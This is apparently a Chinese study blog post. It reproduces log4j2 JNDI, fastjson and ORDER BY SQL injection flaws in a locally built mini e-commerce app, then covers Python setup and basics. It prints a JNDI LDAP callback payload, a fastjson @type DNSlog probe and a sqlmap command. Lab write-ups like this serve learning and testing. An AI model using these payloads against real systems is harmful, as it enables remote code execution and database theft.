26-搭建审计迷你天猫商城python相关知识

news/2025/3/25 22:48:36/文章来源:https://www.cnblogs.com/bokexiLu/p/18785114

1、搭建迷你天猫商城系统并复现log4j2 、fastjson命令执行、sql注入漏洞

搭建迷你天猫商城

  1. 下载源码

  2. 配置数据库(5.7.26)

    • 将数据库文件导入,,修改 application.properties中 的数据库账号密码
    • 当数据库版本 > 5.7 时会报 GROUP BY 语句的错误,所以还需要修改 MySQL 5.7.26 的配置文件,在配置文件中新加一项 sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

    image-20250318125100011

  3. 尝试登录后台 http://localhost:8081/tmall/admin ,账号密码为 admin/123456

    image-20250318125147765

复现 log4j2(2.14.1)漏洞

  1. 寻找漏洞触发点。全局搜索关键字 logger.info

    image-20250318132202334

  2. 分析文件内容,双击进入该代码文件,发现originalFileName 变量可控,存在log4j2漏洞

    image-20250318132822719

  3. 找到漏洞利用点

    创建test用户,找到头像上传功能点抓包修改 filename 参数,使用构造的 JNDI注入 payload:${jndi:ldap://10.0.0.1:1389/6n7gls}

    image-20250318135357285

    发包漏洞复现成功

    image-20250318135540579

复现 fastjson命令执行(1.2.24)漏洞

  1. 寻找漏洞触发点,搜索关键字 JSON.parseJSON.parseObject

    image-20250318140532277

  2. 分析文件内容,双击进入该代码文件,发现使用 JSON.parseObject() 方法反序列化了 orderItemMap 参数,orderItemMap 变量可控,存在fastjson命令执行漏洞

    image-20250318140848480

  3. 找到漏洞利用点

    使用注册的test账号,发现触发漏洞的位置位于用户购物车多商品结算的时候触发的请求

    image-20250318142236926

  4. 漏洞复现

    • 访问在线DNSlog地址,点击获取一个子域名

      image-20250318142826000

    • 构造漏洞验证POC:

      {"@type":"java.net.Inet4Address","val":"to9n7d.dnslog.cn"}
      
    • 抓包修改 orderItemMap 参数后,发包

      image-20250318142747179

    • 再次访问DNSLog地址,点击 Refresh Record ,看到获取到回显信息即漏洞利用成功

    image-20250318142842093

复现 sql注入漏洞

  1. 寻找漏洞触发点,项目使用了Mybatis来定义SQL即全局搜索关键字 ${

    image-20250318145903643

  2. 审计代码

    • 双击进入 UserMapper.xml 文件,第70行存在问题。向上追踪,发现是来自于com.xq.tmall.dao.UserMapper 文件

      image-20250318150305270

    • 进入 UserMapper 文件,可以看到select函数中存在 orderUitl 参数,继续追踪,看看参数值从何而来

      image-20250318150800630

    • 选中select函数,按住 ctrl + alt +H 查看它的调用方法

      image-20250318151420798

    • 跟踪getList 发现使用了 orderUtil 参数,继续跟踪

      image-20250318151540468

    • 可以看到 UserController.java 使用了该方法。文件里实例化 OrderUitl 工具类,该类需要两个参数orderByisDesc ,继续追踪 orderBy 从何而来

      image-20250318152347054

    • 发现是通过 admin/user/{index}/{count} 接口传过来的,且 orderBy 参数可控,存在sql注入漏洞。通过注释可以看出来该接口用于按条件查询用户

      image-20250318153150025

  3. 找到漏洞利用点

    • 发现用户管理翻页查询会向该接口发送请求数据包

      image-20250318154808796

    • 抓到含有orderBy字段的数据包,赋值为1构造poc文件,取名为1.txt

      image-20250318155436953

      image-20250318155855197

  4. 使用SQLMap扫描

    python sqlmap.py -r 1.txt --batch --dbs
    

    可以看到sql注入漏洞复现成功,成功拿到所有数据库名

    image-20250318162857559

2、安装python解释器并配置vscode 进行python开发和调试

  • 安裝python解释器

    • 从Python的官方网站下载Python 3对应的安装程序,特别要注意勾上 Add Python 3.x to PATH ,然后点“Install Now”即可完成安装。

    • 运行 python 出现如下图所示即安装成功

      image-20250319111720439

  • 配置 vscode

    • vscode 打开 test 文件夹创建名为 1.py 的python文件,输入测试代码print('hello, world')

      image-20250319114033866

    • 点击右下角识别的 python 版本,点击【创建虚拟环境】> 【Venv】> 安装路径选择全局即可

      image-20250319114301394

    • 安装成功后运行代码,如下图所示:

      image-20250319150157013

  • python开发和调试

    • 需要vscode里安装如下插件 :Python ,Python Debugger

      image-20250319153630398

    • 在终端新建powershell窗口,可以看到powershell已被激活;尝试安装 requests包 pip install requests

      成功安装

      image-20250319154244633

    • 来到运行调试模块,对 1.py 进行运行和调试,第一行下断点,点击【运行和调试】> 【Python Debugger】> 【对Python文件】

      可以看到成功停到了断点处,调试成功。

      image-20250319155441760

3、复习python基础语法,包括数据类型、函数、模块等知识

  • 数据类型

    • 整数

    • 浮点数(小数)

    • 字符串(单引号 '或双引号"括起来的任意文本)

    • 布尔值:True/False(支持and/or/not运算)

    • 空值(None表示不等于0)

    • 变量:动态类型,无需声明类型,命名规则(字母、数字和 _ 的组合,且不能用数字开头)

    • 常量:不能变的变量。

  • 函数

    • 定义函数:使用 def 语句,依次写出函数名、括号、括号中的参数和冒号 : ,然后,在缩进块中编写函数体,函数的返回值用 return 语句返回。

      以自定义一个求绝对值的 my_abs 函数为例:

      def my_abs(x):if x >= 0:return xelse:return -x
      print(my_abs(-99))
      
    • 参数类型

      • 位置参数:def func(a, b)
      • 默认参数:def func(a=1)
      • 可变参数:def func(*args)(接收元组)
      • 关键字参数:def func(**kwargs)(接收字典)
  • 模块

    概述:为了编写可维护的代码,把很多函数分组,分别放到不同的文件里;在Python中,这些.py文件就称之为模块(Module)

    • 使用模块 :import 模块名称

    • 第三方模块安装:pip install 模块名称

    • 模块搜索路径

      默认情况下,Python解释器会搜索当前目录、所有已安装的内置模块和第三方模块,搜索路径存放在 xxx 模块的 path 变量中

      如果要添加自己搜索目录,有两种方法:

      1. ⼀是直接修改 xxx.path ,添加要搜索的目录。
      2. 设置环境变量PYTHONPATH扩展搜索路径。

4、预习安全开发常用技术

1. Python正则表达式
  • 基础语法
    • \d(数字)、\w(字母/数字/下划线)、.(任意字符)、*(0或多个)、+(1或多个)、?(0或1次)、{n,m}(匹配n到m次)。
    • 特殊字符转义(如\-匹配短横线)。
  • 进阶功能
    • 分组:用()提取子串,如(\d{3})-(\d{3,8})提取区号和号码。
    • 非贪婪匹配.*?避免过度匹配。
    • 切分字符串re.split()处理复杂分隔符(如多个空格或逗号)。
  • 编译优化re.compile()预编译正则表达式,提升重复匹配效率。
2. Python网络编程(Requests库)
  • 请求方法:GET、POST、PUT、DELETE等。
  • 请求参数
    • params:URL查询参数。
    • data/json:表单或JSON格式的请求体。
    • headers:伪装浏览器或携带Token(如User-AgentAuthorization)。
    • files:上传文件。
    • timeout:设置超时时间(连接+读取)。
  • 响应处理
    • content(二进制)、text(字符串)、json()(字典)。
    • 状态码(status_code)、响应头(headers)和Cookies。
  • 异常处理:捕获RequestException(如连接超时、HTTP错误)。
  • 性能优化
    • 多线程ThreadPoolExecutor并发发送请求。
    • 复用TCP连接Session对象保持长连接。
    • 重试机制HTTPAdapter(max_retries=3)
3. Python数据库编程
  • MySQL连接:使用mysql-connectorpymysql库。
  • ORM框架(SQLAlchemy)
    • 定义模型类(如Users表结构)。
    • CRUD操作:session.add()session.query()session.commit()
  • 防SQL注入:使用参数化查询,避免字符串拼接。
4. Python多线程与多进程
  • 多线程
    • threading.Thread创建线程。
    • 锁机制Lock解决资源竞争问题。
    • GIL限制:CPU密集型任务推荐多进程。
  • 多进程
    • multiprocessing.Process创建进程。
    • 进程池Pool批量管理子进程。
    • 进程间通信Queue传递数据。
  • 异步并发concurrent.futures统一线程池/进程池接口。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/902455.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

焊接保护气体自适应调节装置

机器人焊接节气这一术语,指的是在焊接作业流程中,借助特定的技术手段或专业装置,旨在有效缩减焊接气体的使用量,进而达成资源节约与成本控制的双重目标。这一技术精髓在于对焊接气体流量的智能化调控,使之与焊接电流形成精准匹配,从而杜绝气体的无谓损耗。焊接气体自适应…

华为Pura X首发搭载鸿蒙5,应用市场体验再升级

3月20日,华为Pura先锋盛典及鸿蒙智行新品发布会如期举行,正式推出首款搭载HarmonyOS 5的新形态阔折叠手机Pura X,硬件设计实现突破性创新。生态上,鸿蒙应用市场(AppGallery)也完成全新升级,整合了生活、娱乐、办公、金融等多元场景,精准满足用户需求,实现应用高效获取…

Portainer学习笔记2

使用portainer添加docker swarm集群,然后部署redis主从集群 docker swarm集群部署参考:https://blog.csdn.net/backtwo/article/details/143334089 需要提前在swarm 的manage节点上生成TLS证书,用来加密开启docker远程连接协议。[root@park2-0006 uniapply]# mkdir /etc/doc…

WPF 和 Avalonia 开发者的 html css 前端指南 StackPanel 篇

本文主要是向大家列出 WPF 和 Avalonia 的 StackPanel 在 html 和 css 的实现方法。WPF 和 Avalonia 开发者的 html css 前端指南 StackPanel 篇笔者前端框架使用的是 Vue3 + Deno。 笔者主要会以 Avalonia 作为 C# 技术部分的示例。 本文主要是向大家列出 WPF 和 Avalonia 的 …

维修松下机器人G3示教器通电不显示的问题

示教器作为一种先进的工具,被广泛应用于机器人的控制编程中,它不仅能够定义机器人的具体行为和任务,还能实时地监测到机器人的多种状态信息,诸如位置、速度以及负载等关键数据。一旦遇到紧急情况,示教器能够迅速执行急停操作,从而确保整个系统的安全无虞。当面对松下焊接…

第一组可行性分析

第1章 系统分析 1.1 可行性分析 本项目“电磨房——智能家居配置系统”是一款基于微信小程序的家庭用电管理工具,旨在通过智能化手段帮助用户优化用电策略、降低电费支出。以下从技术、经济、社会和法律四个维度分析其可行性。 1.1.1 技术可行性分析 团队具备全栈开发能力:前…

1.A+B问题

用Scanner容器来接受键盘录入数字的情况 因为这题不止一次录入 用while循环 不用for循环 因为只要键盘录入就一直循环 不知道循环多少次 while(scan.hasNextInt)用来判断键盘是否有下一个数字录入 总后sout输出就好了

CH182F7与LAN8720A对比

1、CH182简介 CH182是一款支持Auto-MDIX的工业级10/100M以太网PHY收发器。CH182内部包括物理编码子层(PCS)、物理介质接入层(PMA)、双绞线物理介质相关子层(TP-PMD)、10BASE-TX编码器/解码器、双绞线介质连接单元(TPMAU)、MII和RMII接口等以太网Transceiver功能所需的模…

一键将文件转成网页

1、使用工具trae,需要魔法。 提示词(来自于向阳乔木,微微改动):你是一名专业的网页设计师和前端开发专家,对现代 Web 设计趋势和最佳实践有深入理解,尤其擅长创造具有极高审美价值的用户界面。你的设计作品不仅功能完备,而且在视觉上令人惊叹,能够给用户带来强烈的&qu…

『Plotly实战指南』--柱状图绘制基础篇

柱状图作为最基础的数据可视化形式之一,能直观展示不同类别数据的对比关系,适用于一下的场景:比较不同类别之间的数据大小,如不同产品的销售额对比。 展示数据的分布情况,如各年龄段的人口数量分布。 分析时间序列数据的变化趋势,如某公司近几年的利润变化。今天,我们就…

【作业3】

黄鹏翔 3123004229 黄皓维 3123004228仓库地址 地址这个作业的要求 结对项目这个作业的目标 了解双人合作项目的方法,并完成此次项目PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟)Planning 计划 30 35Estimate 这个任务需要的时间 25 30Develop…